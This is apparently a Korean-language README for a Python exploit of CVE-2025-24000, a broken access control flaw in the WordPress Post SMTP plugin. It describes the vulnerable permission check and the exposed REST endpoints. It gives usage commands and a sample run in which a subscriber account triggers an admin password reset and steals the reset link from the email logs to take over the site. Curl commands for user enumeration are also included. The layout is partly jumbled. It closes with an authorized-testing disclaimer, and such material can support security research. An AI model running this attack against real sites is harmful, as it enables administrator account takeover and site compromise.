
이 블로그 게시물을 기반으로 CVE-2025–24000을 악용하기 위한 짧은 Python 스크립트: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
이 스크립트는 Post SMTP WordPress 플러그인(버전 ≤ 3.2.0)의 심각도가 높은 손상된 접근 제어 취약점인 CVE-2025-24000을 악용합니다. 이 취약점을 통해 낮은 권한의 계정(예: 구독자)을 가진 모든 인증 사용자가 플러그인의 REST API 이메일 로그에 접근하고, 관리자 비밀번호 재설정 링크를 탈취하여 관리자 계정을 장악할 수 있습니다.
이 취약점은 플러그인의 REST API에 있는 결함이 있는 권한 검사에서 비롯됩니다:
// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
return is_user_logged_in();
}
로그인한 모든 사용자는 역할에 관계없이 관리자 전용 엔드포인트에 접근할 수 있습니다:
GET /wp-json/psd/v1/get-logsGET /wp-json/psd/v1/get-details?id=<id>&type=show_viewPOST /wp-json/psd/v1/resend-email/wp-admin/에서 WP REST nonce를 획득합니다/wp-admin에 로그인합니다requests 라이브러리 (pip install requests)python3 exploit_cve_2025_24000.py \
--url <wordpress_base_url> \
--username <your_subscriber_username> \
--password <your_subscriber_password> \
--email <admin_username_or_email>
| Argument | 설명 |
|---|---|
--url |
python3 exploit_cve_2025_24000.py \
--url http://samurai.local/samurai/ \
--username attacker \
--password Password1 \
--email shogun
[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...
[+] RESET LINK FOUND:
http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun
[*] Visit the link above to set a new admin password and take over the site.
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
curl -s 'http://target.local/?author=1' -I | grep -i location
이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다. 테스트할 명시적 권한이 없는 시스템에는 사용하지 마십시오.
WordPress 사이트의 기본 URL (예: http://target.local/wordpress/) |
--username | 낮은 권한의 WordPress 사용자 이름 |
--password | 낮은 권한의 WordPress 비밀번호 |
--email | 재설정할 관리자 사용자 이름 또는 이메일 |